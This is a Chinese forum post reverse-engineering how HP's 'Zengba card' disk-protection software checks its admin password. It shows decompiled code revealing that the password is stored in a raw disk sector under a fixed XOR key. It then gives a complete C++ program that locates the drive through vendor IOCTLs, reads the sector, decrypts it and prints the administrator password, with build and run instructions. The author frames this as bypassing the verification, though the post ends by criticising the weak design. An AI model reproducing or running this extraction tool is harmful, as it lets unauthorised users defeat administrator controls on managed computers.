[全网首发] [逆向工程] 耗时一个晚自习,逆向惠普增霸卡密码验证流程
前言
https://linux.do/t/topic/805582
https://linux.do/t/topic/873806
花了一个晚自习,逆向惠普增霸卡密码验证逻辑于加密逻辑。
背景与起因
惠普增霸卡是预装在部分惠普商用电脑上的一款安全管理软件,它提供了硬盘保护、开机密码等功能。当我们需要修改其设置时,LocalSet.exe 等管理程序会要求输入管理员密码以验证身份。
本次分析的初衷源于一个简单的想法:如果我们能够理解其密码验证的内部逻辑,或许就能找到绕过验证,甚至直接获取密码原文的方法。本文将以 LocalSet.exe 程序为入口点,展开逆向分析之旅。
逆向分析过程
初步观察
我们的第一反应通常是主程序 LocalSet.exe 本身包含了验证逻辑。于是,我们将它载入逆向工程的瑞士军刀——IDA Pro 中进行分析。
一个常规的思路是,开发者会为关键功能(如密码验证)使用易于辨识的函数命名。我们尝试在函数列表中搜索 password、check、valid 等关键词。
然而,搜索结果为空。这让我们初步的假设落了空。但这是否意味着 LocalSet.exe 不执行验证?
通过观察增霸卡的安装目录,我们发现一个有趣的现象:目录下的 LocalSet.exe、LoginMan.exe、LxClient.exe 等多个可执行文件,在启动时都会弹出完全相同的密码输入界面。
这个现象引出了两个关键推论:
- 代码复用:多个程序使用了一套一模一样的验证界面和逻辑。
- 逻辑外置:密码验证的核心代码很可能不直接存在于这些主程序(.exe)中,而是被封装在一个共享的模块里,供所有程序调用。
基于以上推论,我们大胆假设:密码验证逻辑被实现在一个动态链接库(DLL)文件中。
第二步:定位核心验证逻辑
将注意力转移到目录下的 DLL 文件后,经过逐一排查和分析,我们最终在 PublicFun.dll 中找到了决定性的函数:CZbkObject::ValidAdminPasswords。
以下是 IDA Pro 反编译出的该函数 C++ 伪代码:
BOOL __thiscall CZbkObject::ValidAdminPasswords(CZbkObject *this, char *a2, unsigned int a3)
{
unsigned int v4; // eax
int *p_InBuffer; // ecx
int InBuffer; // [esp+8h] [ebp-208h] BYREF
int v9; // [esp+Ch] [ebp-204h]
if ( *((_DWORD *)this + 132) == -1 )
CZbkObject::Initial(this);
// 核心步骤1:从硬盘特定扇区读取加密后的密码
CZbkObject::ReadSectors(this, *((_QWORD *)this + 1) + 6410i64, &InBuffer, 1u);
v4 = a3;
// 核心步骤2:使用固定的密钥进行异或解密
InBuffer ^= 0x48414947u; // "GIAG"
v9 ^= 0x55414E47u; // "GUANG"
p_InBuffer = &InBuffer;
// 核心步骤3:将用户输入的密码原文 (a2) 与解密后的密码进行比对
if ( a3 >= 4 )
{
while ( *(_DWORD *)a2 == *p_InBuffer )
{
v4 -= 4;
++p_InBuffer;
a2 += 4;
if ( v4 < 4 )
return !v4
|| *(_BYTE *)p_InBuffer == *a2
&& (v4 <= 1 || *((_BYTE *)p_InBuffer + 1) == a2[1] && (v4 <= 2 || *((_BYTE *)p_InBuffer + 2) == a2[2]));
}
return 0;
}
return !v4
|| *(_BYTE *)p_InBuffer == *a2
&& (v4 <= 1 || *((_BYTE *)p_InBuffer + 1) == a2[1] && (v4 <= 2 || *((_BYTE *)p_InBuffer + 2) == a2[2]));
}
第三步:深入剖析验证流程
上述代码清晰地揭示了密码验证的三个核心步骤:
1. 读取加密数据
// ...
CZbkObject::ReadSectors(this, *((_QWORD *)this + 1) + 6410i64, &InBuffer, 1u);
// ...
程序首先调用内部的 ReadSectors 函数,从一个基地址偏移 6410 个扇区的位置读取数据。这表明密码数据并非存储在常规文件中,而是直接写入了硬盘的物理扇区。
2. 解密密码
// ...
InBuffer ^= 0x48414947u;
v9 ^= 0x55414E47u;
// ...
这是整个验证机制的“软肋”。程序使用了固定的两个 4 字节密钥(0x48414947 和 0x55414E47)对从扇区读出的 8 字节数据进行异或(XOR)操作。
- 异或加密:这是一种简单的对称加密算法。其特点是,使用同一个密钥对数据进行两次异或操作,即可还原原始数据 (A ^ B ^ B = A)。
- 安全性分析:由于密钥是硬编码在程序中的,任何能够分析此程序的人都能轻易获得密钥,因此这种加密方式几乎是透明的,安全性极低。
- 密钥揭秘:将这两个十六进制数转换为 ASCII 字符,分别是 "GIAG" 和 "GUANG",这可能是开发者留下的痕迹。
3. 明文比对
// ...
while ( *(_DWORD *)a2 == *p_InBuffer )
// ...
解密完成后,程序会将被还原的密码(p_InBuffer)与用户输入的密码(a2)进行逐字节的内存比对。如果完全一致,函数返回 true,验证通过;否则返回 false,验证失败。
至此,整个密码验证的逻辑已经水落石出:密码以明文形式,经过一次简单的异或加密后,被直接存储在硬盘的物理扇区中。
三、 复现密码读取工具
既然我们已经完全掌握了其加密和存储逻辑,就可以编写一个自己的工具来模拟这个过程,从而直接从硬盘中读取并解密出密码。
实现思路
我们的工具需要完成以下任务:
- 定位硬盘:遍历系统的物理硬盘(
\\\\.\\PhysicalDriveX),找到安装增霸卡的硬盘。这可以通过模拟CZbkObject::Initial()函数发送特定的DeviceIoControl请求(控制码0x72054)来实现。 - 读取扇区:计算出密码所在的准确扇区地址(基地址 + 6410),然后通过
DeviceIoControl(控制码0x7201C)读取该扇区的数据。 - 解密数据:使用在 DLL 中找到的相同密钥对读取到的数据执行异或操作。
- 输出密码:将解密后的数据显示出来。
C++ 实现代码
以下是根据上述思路编写的密码读取工具。
#include <windows.h>
#include <stdio.h>
int main() {
HANDLE hDevice = INVALID_HANDLE_VALUE;
unsigned __int64 baseLBA = 0;
DWORD dwBytesReturned;
// 1. 遍历物理磁盘,找到存储增霸卡信息的磁盘并获取基地址(LBA)
for (int diskIndex = 0; diskIndex < 20; ++diskIndex) {
char deviceName[50];
sprintf_s(deviceName, sizeof(deviceName), "\\\\.\\PhysicalDrive%d", diskIndex);
hDevice = CreateFileA(deviceName,
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
NULL,
OPEN_EXISTING,
0,
NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
continue;
}
__int64 inBuffer = 0;
// 发送 IOCTL_ZENGBA_GET_LBA 控制码 (0x72054) 获取基地址
BOOL bResult = DeviceIoControl(hDevice, 0x72054, &inBuffer, 8, &inBuffer, 8, &dwBytesReturned, NULL);
if (bResult && inBuffer != 0) {
baseLBA = inBuffer;
printf("Found Zengba Card data on PhysicalDrive%d. Base LBA: %llu\n", diskIndex, baseLBA);
break; // 找到后退出循环
}
CloseHandle(hDevice);
hDevice = INVALID_HANDLE_VALUE;
}
if (baseLBA == 0) {
printf("Error: Could not find a drive with Zengba Card data.\n");
return 1;
}
// 2. 读取存储密码的扇区
BYTE sectorBuffer[512] = {0};
DWORD* pBuffer = (DWORD*)sectorBuffer;
// 目标扇区地址 = 基地址 + 偏移量
unsigned __int64 targetLba = baseLBA + 6410;
// 准备 DeviceIoControl 的输入缓冲区
pBuffer[0] = (DWORD)targetLba;
pBuffer[1] = (DWORD)(targetLba >> 32);
pBuffer[2] = 1; // 读取1个扇区
printf("Reading sector at LBA: %llu\n", targetLba);
// 发送 IOCTL_ZENGBA_READ_SECTOR 控制码 (0x7201C) 读取扇区
BOOL bResult = DeviceIoControl(hDevice, 0x7201C, sectorBuffer, 512, sectorBuffer, 512, &dwBytesReturned, NULL);
if (!bResult) {
printf("Error: Failed to read sector. LastError: %d\n", GetLastError());
CloseHandle(hDevice);
return 1;
}
// 3. 解密数据
printf("Decrypting password...\n");
pBuffer[0] ^= 0x48414947u; // 使用第一个密钥 "GIAG"
pBuffer[1] ^= 0x55414E47u; // 使用第二个密钥 "GUANG"
// 4. 输出密码
printf("\n--- Password Found ---\n");
printf("Hexadecimal (first 32 bytes): ");
for (int i = 0; i < 32; ++i) {
printf("%02X ", sectorBuffer[i]);
}
printf("\n");
// 检查密码是否是有效的ASCII字符串
printf("Password as String: %s\n", (char*)sectorBuffer);
printf("----------------------\n");
CloseHandle(hDevice);
return 0;
}
使用方法:
将以上代码保存为 .cpp 文件,使用 Visual Studio 或 MinGW 等 C++ 编译器进行编译。必须以管理员权限运行生成的可执行文件,它需要直接访问物理硬盘。程序将自动查找硬盘并输出解密后的密码。(针对 ZBK_UEFI_v7 逆向,不保证其他版本有效)
四、 总结
本次逆向分析成功揭示了惠普增霸卡软件的密码验证机制存在严重的设计缺陷。可以猜测惠普增霸卡这样做是有意的。同时也提醒我们将安全凭证以如此薄弱的加密方式直接存储在硬盘上,使得任何具备基本逆向分析能力的人都能轻松获取密码。这个案例也再次提醒我们,软件安全设计不应依赖于“不透明”的实现,而应采用经过业界检验的安全标准和加密算法。